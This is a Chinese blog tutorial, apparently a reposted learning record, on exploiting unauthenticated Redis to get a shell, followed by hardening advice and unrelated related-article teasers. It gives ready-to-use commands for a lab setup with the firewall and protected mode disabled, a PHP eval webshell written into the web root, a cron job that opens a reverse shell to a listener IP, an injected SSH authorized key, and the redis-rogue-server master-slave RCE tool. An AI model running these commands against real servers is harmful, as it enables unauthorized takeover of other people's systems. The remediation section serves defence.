redis未授权getshell整合利用

一、redis环境搭建


Redis下载地址：http://download.redis.io/releases/redis-4.0.2.tar.gz

1.靶机安装redis-centos7

第一步：下载wget
yum -y install wget 
第二步：下载redis
wget http://download.redis.io/redis-stable.tar.gz
第三步：解压redis
tar -zxvf redis-stable.tar.gz 
第四步：解压后需要编译
make
make报错：make MALLOC=libc     make distclean
第五步：进入src目录，将redis-server复制到/usr/bin目录下（这样启动redis-server就不用每次都进入安装目录了）
cp redis-server /usr/bin
第六步：将redis配置文件复制到/etc目录下
cp redis.conf /etc
第七步：启动redis服务器
redis-server /etc/redis.conf


1、yum -y install wget 下载wget


2、下载redis
wget http://download.redis.io/redis-stable.tar.gz


3、解压redis
tar -zxvf redis-stable.tar.gz


4、进入到redis-stable 目录后，使用make编译

5.、如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”，代表编译成功

6、进入src目录，将redis-server复制到/usr/bin目录下（这样启动redis-server就不用每次都进入安装目录了）


7、回到redis-stable将redis配置文件复制到/etc目录下

8、启动redis服务器redis-server /etc/redis.conf


2、攻击机安装redis-cli-kali

#下载redis
wget http://download.redis.io/redis-stable.tar.gz

#解压redis
tar -zxvf redis-stable.tar.gz

#进入redis-stable解压后需要编译
make
make报错：make MALLOC=libc     make distclean

#进入src目录，将redis-cli复制到/usr/bin目录下（这样启动redis-cli就不用每次都进入安装目录了）
cp redis-cli /usr/bin

#常规连接指令
 redis-cli -h 目标主机ip地址 -p 端口号


1、下载redis
wget http://download.redis.io/redis-stable.tar.gz

2、解压redis
tar -zxvf redis-stable.tar.gz

3、进入redis-stable解压后需要编译

4、如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”，代表编译成功

5、进入src目录，将redis-cli复制到/usr/bin目录下（这样启动redis-cli就不用每次都进入安装目录了）
cp redis-cli /usr/bin

6、常规连接指令
redis -cli -h 目标主机ip地址 -p 端口号

3、错误排查


现象描述：
使用namp探测端口，探测攻击机能否连接，通过测试发现，连接不上。

解决方法：

1、检查redis是否启动

ps -ef | grep redis 

2、关闭防火墙，并永久性开启自禁止

systemctl stop firewalld.service   #关闭防火墙
systemctl disable firewalld.service  #并永久性开启自禁止


3、如果上面都没有问题,外部还是连接不上，修改/etc/redis.conf配置文件，设置如下

bind 127.0.0.1 ::1
bind 192.168.xx.xx     #将服务器IP写入
protected-mode  no     #将yes改成no


4、重新启动一下redis,测试连接正常

redis-server /etc/redis.conf

二、redis漏洞原理


Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作 。

三、拓扑图

四、redis四种getshell方式


1、直接写入shell脚本


1.1 前提条件

1、低版本或者enable-protected-config yes

2、知道网站绝对路径，并且需要增删改查权限

 获取网站路径方式： 1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

3、root启动redis

4、redis弱密码或者无密码

1.2 redis写入shell

命令：

redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save

测试语句截图：

测试结果：

1.3 注意


133行no改为yes，只有这样才可以修改配置文件


 

如果不修改这一步，会报错
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config


当然，如果你没有这一行，证明你的版本没有此保护，可以忽略这一步操作。
这是高版本redis的保护机制，所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用，同时反弹shell对系统要求也有限制，这里只成功在centos中复现成功。

2.定时任务写入反弹shell


2.1 在攻击机上监听888端口等待反弹shell

nc  -lvp 888

2.2 在redis中写入定时任务


set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save


测试语句：


测试结果： 需要等待一段时间

3 写 ssh-keygen 公钥登录服务器

3.1 原理：


SSH提供两种登录验证方式，一种是口令验证也就是账号密码登录，另一种是密钥验证。
所谓密钥验证，其实就是一种基于公钥密码的认证，使用公钥加密、私钥解密，其中公钥是可以公开的，放在服务器端，你可以把同一个公钥放在所有你想SSH远程登录的服务器中，而私钥是保密的只有你自己知道，公钥加密的消息只有私钥才能解密，大体过程如下：


（1）客户端生成私钥和公钥，并把公钥拷贝给服务器端；
（2）客户端发起登录请求，发送自己的相关信息；
（3）服务器端根据客户端发来的信息查找是否存有该客户端的公钥，若没有拒绝登录，若有则生成一段随机数使用该公钥加密后发送给客户端；
（4）客户端收到服务器发来的加密后的消息后使用私钥解密，并把解密后的结果发给服务器用于验证；
（5）服务器收到客户端发来的解密结果，与自己刚才生成的随机数比对，若一样则允许登录，不一样则拒绝登录。

3.2 条件：


1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。

3.3 攻击机kali生成公钥


3.3.1  生成公钥

3.3.2  找到公钥文件
命令：

cd /root/.ssh
ls
cat id_rsa.pub

3.4 将公钥文件上传靶机上


redis-cli -h 192.168.33.134        #连接目标主机redis
config get dir                  #检查当前保存路径
config get dbfilename              #检查保存文件名
config set dir /root/.ssh/         #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n 公钥 \n\n\n"         #将公钥写入xz健
save                         #进行保存    

set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB/xUoAg9JSLUpOmh9xT5wunGPlV7+zdMHhbiphccjDn8HqRjr0EddrI6hYymaj0rcj57PQHXy0TOUP44gnVQtE0il07XHOzwvY3Suz25FE0wjK1Pb8Vsw6wU6m/GBQGXSSsui9srVA4w39yH65t4mGXnNn6H2X74x8j6csoXeDNZTNpvXgKzTA8JiczyrkxhrTQ+iR7O2ysWNkxucZCE7weD8yEqLsSpJDk37VQPqsClyK+U7uqZWEsCFmXujK/sPHPhWQ6IgmgX7JoGTATkpCRVWQh5vowznHMw2pYdwsc30+CUCzrUvQ/i1V2k3DXpVW7iqS+DDKrXp/uXRjwzDVl2w4cdBnaxxEUWf18tmObMfmITOYB/w1CLjzbVHkrzAFUpmeuptNgDedon8+FYrWiy8R7HZ1TyN5ksQ0eQUXzAoW+48qYAF6GvZFMryevfUIzAaPf6h/n8X2hPRiiTav3z4BofHPQEVwk38QQguwoKixOkgbn20+4GBD5P9/DM= root@DESKTOP-GLKEQ3E \n\n\n" 

测试语句：

3.5 利用私钥远程登录redis的22端口

ssh  -i  /root/.ssh/id_rsa  root@xx.xx.xx.xx

3.6 服务器开启ssh

[root@host ~]# vi /etc/ssh/sshd_config
下面两行打开注释
PubkeyAuthentication yes
# 重启sshd服务
[root@host ~]# systemctl restart sshd.service
[root@host ~]# systemctl status sshd.service


4 Redis主从复制getshell


4.1 原理

Redis如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上，然后在从机上加载so文件，我们就可以执行拓展的新命令了。

4.2 条件

Redis 版本(4.x~5.0.5)（新增模块功能，可以通过C语言并编译出恶意.so文件）
redis弱密码或者无密码
root启动redis

4.3 攻击主机kail操作

kali下载利用工具https://github.com/n0b0dyCN/redis-rogue-server

 wget https://github.com/n0b0dyCN/redis-rogue-server

交互式shell

python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so


根据提示输入i进入交互shell
反弹shell

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入r，接着输入ip和端口进行反弹

ps：redis主从RCE打多了会出现redis瘫痪的情况，所以不到万不得已，尽量不要打主从

五、修复建议


1）禁止一些高危命令（重启redis才能生效)

修改 redis.conf 文件，禁用远程修改 DB 文件地址
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
或者通过修改redis.conf文件，改变这些高危命令的名称
rename-command FLUSHALL “name1”
rename-command CONFIG “name2”
rename-command EVAL “name3”


2）以低权限运行 Redis 服务（重启redis才能生效）

为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis


3）为 Redis 添加密码验证（重启redis才能生效）

修改 redis.conf 文件，添加
requirepass mypassword
（注意redis不要用-a参数，明文输入密码，连接后使用auth认证）


4）禁止外网访问 Redis（重启redis才能生效）

修改 redis.conf 文件，添加或修改，使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后，redis增加了protected-mode，在这个模式下，非绑定IP或者没有配置密码访问时都会报错。


5）修改默认端口

修改配置文件redis.conf文件
Port 6379
默认端口是6379，可以改变成其他端口（不要冲突就好）


6）保证 authorized_keys 文件的安全

为了保证安全，您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读，其他用户没有任何权限：
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉，您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而，用户还可以重命名 ~/.ssh，然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况，需要设置 ~./ssh 的 immutable 权限：
chattr +i ~/.ssh


7）设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问，可以设置iptables策略仅允许指定的IP来访问Redis服务。

学习记录

原文链接：https://blog.csdn.net/qq_56607768/article/details/130337729

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/707487.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

Ajax的应用

Ajax的应用

1. Ajax Ajax是Asynchronous Javascript And XML&#xff08;异步JavaScript和XML&#xff09;的缩写。 Ajax技术描述了使用脚本操纵HTTP和Web服务器进行数据交换&#xff0c;在页面不刷新的情况下&#xff0c;实现页面的局部更新。 重点&#xff1a; Ajax 是一种在无需重新加…
阅读更多...
界面组件DevExpress Office File API - 如何用OpenAI增强文档可访问性（二）

界面组件DevExpress Office File API - 如何用OpenAI增强文档可访问性（二）

DevExpress Office File API是一个专为C#, VB.NET 和 ASP.NET等开发人员提供的非可视化.NET库。有了这个库&#xff0c;不用安装Microsoft Office&#xff0c;就可以完全自动处理Excel、Word等文档。开发人员使用一个非常易于操作的API就可以生成XLS, XLSx, DOC, DOCx, RTF, CS…
阅读更多...
深度学习500问——Chapter10：迁移学习（4）

深度学习500问——Chapter10：迁移学习（4）

文章目录 11.3.8 流形学习方法 11.3.9 什么是finetune 11.3.10 finetune为什么有效 11.3.11 什么是网络自适应 11.3.12 GAN在迁移学习中的应用 参考文献 11.3.8 流形学习方法 什么是流行学习&#xff1f; 流行学习自从2000年在Science上被提出来以后&#xff0c;就成为了机器…
阅读更多...
webstorm yarn环境配置

webstorm yarn环境配置

1. 安装nodejs https://nodejs.cn/download/ 2. 安装npm npm i yarn -g3.下载并安装webstorm https://www.jetbrains.com/webstorm/ 4. 打开settings确认node和yarn的配置正确5. 打开项目更新包 yarn install
阅读更多...
IntelliJ IDEA 用maven创建web项目

IntelliJ IDEA 用maven创建web项目

前言 已经安装并配置好Tomcat。具体步骤&#xff1a;Tomcat安装及环境变量配置(一看就会)-CSDN博客​编辑https://blog.csdn.net/longyongyyds/article/details/135825647 具体步骤 1.新建一个maven项目 2&#xff0c;配置好tomcat服务器 3.运行测试一下 maven教程&#xf…
阅读更多...
Redisson原理解析

Redisson原理解析

Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f4a5;&#x1f4a5;个人主页&#xff1a;奋斗的小羊 &#x1f4a5;&#x1f4a5;所属专栏&#xff1a;C语言 &#x1f680;本系列文章为个人学习…
阅读更多...
2024大交通场景空间策展洞察报告

2024大交通场景空间策展洞察报告

来源&#xff1a;邻汇吧&万一商管 近期历史回顾&#xff1a; 2024国内工商业储能市场研究报告.pdf 2023幸福企业白皮书.pdf 2024年欧亚地区移动经济报告.pdf 内容供应链变革 2023人工智能与首席营销官&#xff08;CMO&#xff09; AI科技对PC产业的影响.pdf 金融业数据应用…
阅读更多...
Vitis HLS 学习笔记--Vitis Accelerated Libraries介绍

Vitis HLS 学习笔记--Vitis Accelerated Libraries介绍

1. 简介 Vitis Accelerated Libraries&#xff0c;包含很多现成的库&#xff0c;这些库都是开源的&#xff0c;也就是说代码是公开的&#xff0c;而且已经优化过&#xff0c;可以让程序运行得更快。你不需要改变太多你的代码&#xff0c;就能让你的程序速度提升。 这些库有很…
阅读更多...
2024年GIS大赛奖金盘点，看看哪家最香？

2024年GIS大赛奖金盘点，看看哪家最香？

之前盘点过2024年值得参加的GIS比赛&#xff0c;点这里回顾。 今天我们重点盘点一下不同比赛的奖项设置和奖金&#xff0c;排名不分先后。 全国高校GlS技能大赛 1. 比赛介绍&#xff1a; http://contest.gisera.com/view_191.html 2. 奖项/奖金设置&#xff1a; 获奖者颁…
阅读更多...
ListView的使用

ListView的使用

&#x1f4d6;ListView的使用 ✅1. 创建ListView✅2. 创建适配器Adapter✅3. 开始渲染数据 主要3步骤&#xff1a; 创建ListView 创建适配器Adapter&#xff0c;和Adapter对应的视图 开始渲染数据 效果图&#xff1a; ✅1. 创建ListView 例如现有DemoActivity页面&#xf…
阅读更多...
自动控制：滑模控制(Sliding Mode Control, SMC)

自动控制：滑模控制(Sliding Mode Control, SMC)

自动控制&#xff1a;滑模控制(Sliding Mode Control, SMC) 滑模控制&#xff08;Sliding Mode Control, SMC&#xff09;是一种在处理非线性系统时非常有效的控制技术。它通过驱动系统状态达到并保持在特定的滑模面附近&#xff0c;来实现控制目标。本文将介绍滑模控制的基本…
阅读更多...
四川赤橙宏海商务信息咨询有限公司靠谱吗？

四川赤橙宏海商务信息咨询有限公司靠谱吗？

在数字化浪潮席卷而来的今天&#xff0c;电商行业正经历着前所未有的变革。四川赤橙宏海商务信息咨询有限公司&#xff0c;凭借其深厚的行业经验和敏锐的市场洞察力&#xff0c;专注于抖音电商服务领域&#xff0c;致力于为广大商家提供全方位、高效益的电商解决方案。 赤橙宏…
阅读更多...
OpenGL3.3_C++_Windows(3)

OpenGL3.3_C++_Windows(3)

GLSL Shader基础 Shader&#xff08;把输入转化为输出,运行在GPU上&#xff09;&#xff1a;首先要声明版本&#xff0c;有各自的入口点main&#xff08;&#xff09;顶点数据上限:16个包含4分量&#xff1a;16 * 4 64个分量向量&#xff1a;容器vec。使用.x、.y、.z和.w&am…
阅读更多...
算法day27

算法day27

第一题 515. 在每个树行中找最大值 首先是遍历每层的节点&#xff0c;将每一层最大值的节点的值保留下来&#xff0c;最后将所有层的最大值的表返回&#xff1b;具体的遍历每层节点的过程如上一篇故事&#xff1b; 综上所述&#xff0c;代码如下&#xff1a; /*** Definition …
阅读更多...
HTML静态网页成品作业(HTML+CSS)—— 零食商城网页(1个页面)

HTML静态网页成品作业(HTML+CSS)—— 零食商城网页(1个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有1个页面。 二、作品演示 三、代…
阅读更多...
同三维T80005EH4 H.265 4路高清HDMI编码器

同三维T80005EH4 H.265 4路高清HDMI编码器

同三维T80005EH4 H.265 4路高清HDMI编码器 4路HDMI输入2路3.5音频输入&#xff0c;第1路和第2路HDMI可支持4K30&#xff0c;其它支持高清1080P60 产品简介&#xff1a; 同三维T80005EH4 4路HDMI高清H.265编码器采用最新高效H.265高清数字视频压缩技术&#xff0c;具备稳定…
阅读更多...
SQL Server 2022 RTM 最新累积更新：Cumulative Update #13 for SQL Server 2022 RTM

SQL Server 2022 RTM 最新累积更新：Cumulative Update #13 for SQL Server 2022 RTM

SQL Server 2022 RTM (最新累积更新) - 基于 Azure 的持续性能和安全创新 Cumulative Update #13 for SQL Server 2022 RTM 请访问原文链接&#xff1a;https://sysin.org/blog/sql-server-2022/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&…
阅读更多...
C++笔记：模板

C++笔记：模板

模板 为什么要学习模板编程 在学习模板之前&#xff0c;一定要有算法及数据结构的基础&#xff0c;以及重载&#xff0c;封装&#xff0c;多态&#xff0c;继承的基础知识&#xff0c;不然会出现看不懂&#xff0c;或者学会了没办法使用。 为什么C会有模板&#xff0c;来看下面…
阅读更多...
听说前端都是切图仔，所以学了PS

听说前端都是切图仔，所以学了PS

PS 从零开始-基础篇 什么话都不想说了&#xff0c;前端以死后端已死&#xff0c;毁灭即是新生&#xff0c;我要开始追梦了&#xff0c; 从小就希望&#xff0c;制作一款自己的游戏&#x1f3ae;去学了编程&#xff0c;了解了&#xff1a;Java、C#、前端... 不小心入了web领域…
阅读更多...
idea 配置文件中文乱码

idea 配置文件中文乱码

再进行springboot项目开发时发现新建的配置文件中文注释乱码&#xff0c;如下: 处理办法: 1、打开idea&#xff0c;在 File 中找到 Settings,如下图 2、搜索 encodings 找到 File Encodings&#xff0c;如下图 3、将上图中圈上的地方全部改为 UTF-8 编码最后点击 Apply 应用即…
阅读更多...
最新文章

Copyright @ 2022~2023